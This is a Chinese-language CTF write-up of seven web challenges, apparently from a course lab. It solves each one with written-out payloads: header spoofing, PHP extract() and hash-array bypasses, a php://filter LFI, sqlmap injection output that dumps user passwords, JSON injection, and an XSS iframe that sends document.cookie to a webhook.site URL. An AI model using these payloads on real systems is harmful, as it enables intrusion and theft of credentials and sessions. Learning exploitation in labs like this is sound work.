---
# System prepended metadata

title: CTF Project3

---

# CTF Project3

## Pekora

http://ctf.adl.tw:12001/

![](https://i.imgur.com/uJjwSUY.png)

```htmlembedded=

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>peko peko</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/rainbow.css" rel="stylesheet">
</head>

<body>
    <div class="text-center d-flex justify-content-center flex-column" style="height: 100vh"><h1><img src="./pekora.png" alt="QURMe0QwME5fZE9vTl9EME9uXw=="></img></h1><p style="font-size: 3em;">Ha↗️Ha↘️Ha↗️Ha↘️ only user whose ip is 127.0.0.1 can see real pekora.<br></p>
        </div>    <script src="js/jquery-slim.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</body>

</html>
```

第一段 flag在原始碼裡 QURMe0QwME5fZE9vTl9EME9uXw== -> ADL{D00N_dOoN_D0On_

第二段 flag在cookie裡 _flags=RG9OX0RvMG4hIVBlazBfQ2hBbl9LYQ== -> DoN_Do0n!!Pek0_ChAn_Ka

第三段 需要將一些http header 如X-Forwarded-For 可以讓server辨識client的header 
將他設成127.0.0.1放在http request裡面 就會出現flag 
this is the gift yagoo gives you V2EhaV9oQF9oQF9o0LRfaGFfaNC0fQ== -> Wa!i_h@_h@_hд_ha_hд}

合併得 `ADL{D00N_dOoN_D0On_DoN_Do0n!!Pek0_ChAn_KaWa!i_h@_h@_hд_ha_hд}`

## top secret
http://ctf.adl.tw:12002/
```php=
<?php
show_source(__FILE__);
$flag = $_ENV["FLAG"];

$password = bin2hex(random_bytes(10));

extract($_GET); //在這裡將request params解壓
if (!empty($guess) && $guess == $password)
{
    echo "WoW you find my secret password";
    if (md5($token1) == sha1($token2))
    {
        echo $flag;
    }
} else 
{
    die("NO :(");
}
NO :(
```

題目會顯示出原碼，出現FLAG條件為 `if (!empty($guess) && $guess == $password)` 及 `if (md5($token1) == sha1($token2))`

`if (!empty($guess) && $guess == $password)`
get param中如果有password會把隨機生成的蓋過

payload = guess=1&password=1

`if (md5($token1) == sha1($token2))`

md5跟sha1若傳進的object為array則返回NULL

payload = token1[]=1&token2[]=1

http://ctf.adl.tw:12002/?guess=1&password=1&token1[]=1&token2[]=1

得response

WoW you find my secret password
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 11

Warning: sha1() expects parameter 1 to be string, array given in /var/www/html/index.php on line 11
**`ADL{Wooo00000ww_H0w_U_p@55_MY_Ch5clc}`**

## aqua
http://ctf.adl.tw:12003/

![](https://i.imgur.com/ec2u0E4.gif)

## hololiveEN_1
http://ctf.adl.tw:12004/

我老婆 ![](https://pbs.twimg.com/media/FGcOa3CWYAApzT5.jpg)

隨便點發現有PHP LFI
http://ctf.adl.tw:12004/index.php?page=kiara.html

然後用php://filter把原碼讀出來

http://ctf.adl.tw:12004/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
>index.php

```php=
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>hololiveEN</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-F3w7mX95PdgyTmZZMECAngseQB83DfGTowi0iMjiWaeVhAn4FJkqJByhZMI3AhiU" crossorigin="anonymous">
</head>

<body>
    <center>
        <form action="index.php" method="get">
            <button class="btn btn-primary" name="page" type="submit" value="gura.html">gura</button>
            <button class="btn btn-primary" name="page" type="submit" value="ame.html">ame</button>
            <button class="btn btn-primary" name="page" type="submit" value="calli.html">calli</button>
            <button class="btn btn-primary" name="page" type="submit" value="ina.html">ina</button>
            <button class="btn btn-primary" name="page" type="submit" value="kiara.html">kiara</button>
        </form>
    </center>
    <div class="text-center d-flex justify-content-center flex-column" style="height: 100vh">
        <p style="font-size: 3em;">
            <?php
            $file = $_GET['page'];
            if (isset($file)) {
                include($file);
            } else {
                include('gura.html');
            }
            ?>
        </p>
    </div>
    <script src="js/jquery-slim.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</body>

</html>
```

然後隨便用nikto試了一下常見的網頁 發現有login.php
![](https://i.imgur.com/GAXkWJG.png)


http://ctf.adl.tw:12004/index.php?page=php://filter/read=convert.base64-encode/resource=login.php

```php=
<?php
// ADL{ve5eeeeeeeeEEEE555ry_si!!iimple_LFI} //flag1
$host = 'db';
$dbuser = 'MYSQL_USER';
$dbpassword = 'MYSQL_PASSWORD';
$dbname = 'ctf_users';
$link = mysqli_connect($host, $dbuser, $dbpassword, $dbname);

$loginStatus = NULL;
$username = $_POST['ctf_username'];
$password = $_POST['ctf_password'];

if (isset($username) && isset($password)) {
    error_log('POST: [' . $username . '] [' . $password . ']');
    if ($link) {
        $sql = "SELECT * FROM users WHERE `username` = '$username' AND `password` = '$password';";
        $query = mysqli_query($link, $sql);
        $fetchs = mysqli_fetch_all($query, MYSQLI_ASSOC);
        if (count($fetchs) > 0) {
            foreach ($fetchs as $fetch) {
                if ($fetch["username"] === 'gura' && $fetch["password"] === $password) {
                    $loginStatus = True;
                    break;
                }
                $loginStatus = False;
            }
        } else {
            $loginStatus = False;
        }
    } else {
        $loginStatus = NULL;
    }
} else {
    $loginStatus = NULL;
}
?>
<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="author" content="Vongola">
    <title>Gura Dum</title>
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/signin.css" rel="stylesheet">
    <link href="css/rainbow.css" rel="stylesheet">
</head>

<body class="text-center" style="display:block;padding: 0;">
    <?php
    if ($loginStatus === True) {
    ?>
        <div class="text-center d-flex justify-content-center flex-column" style="height: 100vh">
            <h1 class="rainbow" style="font-size: 5rem;">Login Success!</h2>
                <p style="font-size: 3em;">
                    <?php echo $_ENV["FLAG"], '<br>'; ?>
                </p>
        </div>
    <?php
    } else {
        if ($loginStatus === False) {
            echo '<div class="alert alert-danger" role="alert">Login Failed! Only admin can use this page to login!</div>';
        }
    ?>
        <div class="text-center d-flex align-items-center" style="height: 90%">
            <form class="form-signin" action="login.php" method="POST">
                <img class="mb-4" src="img/dum.png" width=300></img>
                <label for="inputUsername" class="sr-only">Username</label>
                <input type="text" id="inputUsername" class="form-control" placeholder="Username" name="ctf_username" required autofocus>
                <label for="inputPassword" class="sr-only">Password</label>
                <input type="text" id="inputPassword" class="form-control" placeholder="Password" name="ctf_password" required>
                <div class="checkbox mb-3">
                    <label>
                        <input type="checkbox" value="remember-me"> Remember me
                    </label>
                </div>
                <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
            </form>
        </div>
    <?php
    }
    ?>
    <script src="js/jquery-slim.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</body>

</html>
```

得flag_1 `ADL{ve5eeeeeeeeEEEE555ry_si!!iimple_LFI}`


## hololiveEN_2
續上一題 我們著重於mysql的bypass

```php=
<?php
// ADL{ve5eeeeeeeeEEEE555ry_si!!iimple_LFI}
$host = 'db';
$dbuser = 'MYSQL_USER';
$dbpassword = 'MYSQL_PASSWORD';
$dbname = 'ctf_users';
$link = mysqli_connect($host, $dbuser, $dbpassword, $dbname);

$loginStatus = NULL;
$username = $_POST['ctf_username'];
$password = $_POST['ctf_password'];

if (isset($username) && isset($password)) {
    error_log('POST: [' . $username . '] [' . $password . ']');
    if ($link) {
        $sql = "SELECT * FROM users WHERE `username` = '$username' AND `password` = '$password';";
        $query = mysqli_query($link, $sql);
        $fetchs = mysqli_fetch_all($query, MYSQLI_ASSOC);
        if (count($fetchs) > 0) {
            foreach ($fetchs as $fetch) {
                if ($fetch["username"] === 'gura' && $fetch["password"] === $password) {
                    $loginStatus = True;
                    break;
                }
                $loginStatus = False;
            }
        } else {
            $loginStatus = False;
        }
    } else {
        $loginStatus = NULL;
    }
} else {
    $loginStatus = NULL;
}
?>
```

`$sql = "SELECT * FROM users WHERE `username` = '$username' AND `password` = '$password';"; `
這裡可以使用sql injection 

但是`if ($fetch["username"] === 'gura' && $fetch["password"] === $password) {`
這裡有strict comparison 所以還是得得出真正的密碼

也就是要用sql的attack

>https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

所以直接使用sqlmap
https://github.com/sqlmapproject/sqlmap

```bash=
❯ sqlmap
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.12#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). Use -h for basic and -hh for advanced help

❯ sqlmap --wizard
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.12#pip}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:50:14 /2021-12-13/

[20:50:14] [INFO] starting wizard interface
Please enter full target URL (-u): http://ctf.adl.tw:12004/login.php
POST data (--data) [Enter for None]:
[20:50:27] [WARNING] no GET and/or POST parameter(s) found for testing (e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). Will search for forms
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 3

sqlmap is running, please wait..

[1/1] Form:
POST http://ctf.adl.tw:12004/login.php
POST data: ctf_username=&ctf_password=
do you want to test this form? [Y/n/q]
> Y
Edit POST data [default: ctf_username=&ctf_password=] (Warning: blank fields detected): ctf_username=&ctf_password=
do you want to fill blank fields with random values? [Y/n] Y
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
POST parameter 'ctf_username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 613 HTTP(s) requests:
---
Parameter: ctf_username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: ctf_username=mOiF' AND 7712=(SELECT (CASE WHEN (7712=7712) THEN 7712 ELSE (SELECT 6508 UNION SELECT 8741) END))-- -&ctf_password=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ctf_username=mOiF' AND (SELECT 9528 FROM (SELECT(SLEEP(5)))JAqm)-- dECa&ctf_password=
---
do you want to exploit this SQL injection? [Y/n] Y
web server operating system: Linux Debian
web application technology: PHP 7.4.25, Apache 2.4.51
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.27'
current user: 'MYSQL_USER@%'
current database: 'ctf_users'
hostname: '51a4576ace35'
current user is DBA: False
database management system users [1]:
[*] 'MYSQL_USER'@'%'

[20:50:54] [ERROR] unable to retrieve the password hashes for the database users
database management system users privileges:
[*] %MYSQL_USER% [1]:
    privilege: USAGE

database management system users roles:
[*] %MYSQL_USER% [1]:
    role: USAGE

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[20:54:02] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [y/N/q] N
Database: ctf_users
Table: users
[20 entries]
+----+------------------------------------------+------------+
| id | password                                 | username   |
+----+------------------------------------------+------------+
| 1  | best_of_ADL                              | x55662306  |
| 2  | king_of_ADL                              | gordon     |
| 3  | best_of_ncu                              | JyunD      |
| 4  | 37cb9568410599cfae6fde02da1c2c092c1183ff | aadmin     |
| 5  | kon_peko_kon_peko_kon_peko               | peko       |
| 6  | nyaHelloooo                              | mika       |
| 7  | kon_aqua                                 | aqua       |
| 8  | c71e5c2ab5bd9f528cb6b974f9c2a9c1859ef3df | admin      |
| 9  | 0e84fcc73393f6bc4ff5c67ed8baa3d7f9ab3adc | addmin     |
| 10 | 39e4851090159fc6dd95c84ca9be3a56561e8958 | admmin     |
| 11 | c14c729e0655cd4a8ca04d9dcec7787d9d19df6c | admiin     |
| 12 | e5d1637f325802fc93e832d9524d9dc5212aa763 | adminn     |
| 13 | cb7518a5417c141909707976477042e953db14ee | gura       |
| 14 | 303278976652a67adf2d7ca1fabf0a52d62807b5 | ina        |
| 15 | 1f995128e714168ce11381f9bd028a657ac32007 | amelia     |
| 16 | 055d2be01733f75ff39c91ca1d3fd4fe12e32cd1 | calli      |
| 17 | 2f04bcc5094a9b79c0f7018373f0287c797f99e6 | kiara      |
| 18 | 5716660bd8f8d787db5b430f6377a567e8c3bce1 | aaddmmiinn |
| 19 | da89a7a711c99504e4a3b9e7f95d3456284c3f0a | adminnn    |
| 20 | 1e4b12938f079ef1011a25f43294f1fcc784b88b | aaadmiin   |
+----+------------------------------------------+------------+
```

得gura的密碼是cb7518a5417c141909707976477042e953db14ee

`ADL{H0w_yOu_F1nD_@dM!n_pAs5w0Rd_Thr0u9h_b1;nD_Eye5}`

## ayame
http://ctf.adl.tw:12005

百鬼組に栄光あれ(・д・)ゞ

![](https://c.tenor.com/z20Vbv5kCqgAAAAC/nakiri-ayame-hololive.gif)


```python=
from flask import Flask, request, make_response, redirect, session, render_template, send_file
import os
import json

app = Flask(__name__)
app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'ADL{TEST_FLAG}')
users_db = {
    'guest',
    'Ayame'
}


@app.route("/")
def index():

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    
    if user['Ayame'] == True and request.args.get("base64") == 'QXlhbWU=':
        return FLAG
    else:
        return render_template("welcome.html", username=user['username'])


@app.route("/login", methods=['POST'])
def login():
    data = '{"Ayame": false, "username": "%s"}' % (
        request.form["username"]
    )
    session['user_data'] = data
    return redirect("/")


@app.route("/logout")
def logout():
    session.clear()
    return redirect("/")


@app.route("/source")
def source():
    return send_file(__file__, mimetype="text/plain")


if __name__ == '__main__':
    app.run(threaded=True, debug=True)
```
此為一個python flask伺服器

在post可以看到 會把ayame設成false，而index又需要true，所以我們可以在username中的format string把ayame又複寫成true

![](https://i.imgur.com/4sNQE9P.png)
Ayame", "Ayame": true, "base64": "QXlhbWU

(後面的純粹拿來補上string的雙引號)

會變成
```json=
data = {
    "Ayame": false,
    "username": "Ayame",
    "Ayame": true,
    "base64": "QXlhbWU"
}
```

這樣即可正常json.loads()登入成功 
然後修改一下網址以符合 request.args.get("base64") == 'QXlhbWU=':

http://ctf.adl.tw:12005/?base64=QXlhbWU%3D (注意url encode)

ADL{n5R\/er_P@r5e_j50000N_twww!cE}


## Amelia

http://ctf.adl.tw:12006/

Please find the flag :)

檢視原始碼可以很簡單找到entry point http://ctf.adl.tw:12006/f71a9ff57b51d052bc9652fae47cfbc6

重點code段
```javascript=
app.post("/flag", jsonParser, (req, res) => {
	const {first, second} = req.body
	const nonce = "Nice_try"
	
	if (!first || !second || first.length !== second.length) {
		res.send("bad input")
		return
	}


	if (first !== second && sha256(nonce + first) === sha256(nonce + second)) {
		res.send(FLAG) 
		return
	}

	res.send("access denied")
})

```

由於sha256 碰撞目前還是不可能的 要是md5還好說，所以這裡一樣跟php用array來繞過

![](https://i.imgur.com/9fCE349.png)

`ADL{|_Think_j@va5cRipt_is_the_bE5t_1an9uage_in_the_wor1d,isn't_it?}`

## msg_board

http://ctf.adl.tw:12007/

點開發現是一個message board

![](https://i.imgur.com/pQovwtA.png)

可以對輸入的html元素自動render ->應該是xss攻擊

網路上google了一下，這類型的flag通常藏在 admin的document.cookie或是document.domain

同時發現可疑檔案 http://ctf.adl.tw:12007/config.php 但是不知道原碼也沒有公用

試了發現是用vue.js寫的，按下submit會post以json到/api.php，然後回傳是否成功貼到message board
![](https://i.imgur.com/pPI7VGt.png)

此api.php不接受 <img <svg <script 的html tag 但<a href <iframe是可以使用的，也沒有禁止使用onload，window.location，javascript:

網路上有推薦https://webhook.site/ 可以自動記錄對網址發http request時的所有參數，包括param

所以payload = 
```htmlembedded=
<iframe onload="window.location.href='https://webhook.site/56d0e454-772f-42ca-a4ca-ca362fedc2d1'+escape(document.cookie)">
```

由於測試過<a href的連結法需要自己動，而iframe onload會讓他render時自動執行遠端連結，這使得admin可以無條件觸發http request

得我自己觸發的
![](https://i.imgur.com/eAM4xY4.png)

admin觸發的
![](https://i.imgur.com/GklOYui.png)

`USERSESSID=ADL{rEf15Ct!0n_x5s_@tTaCk}`


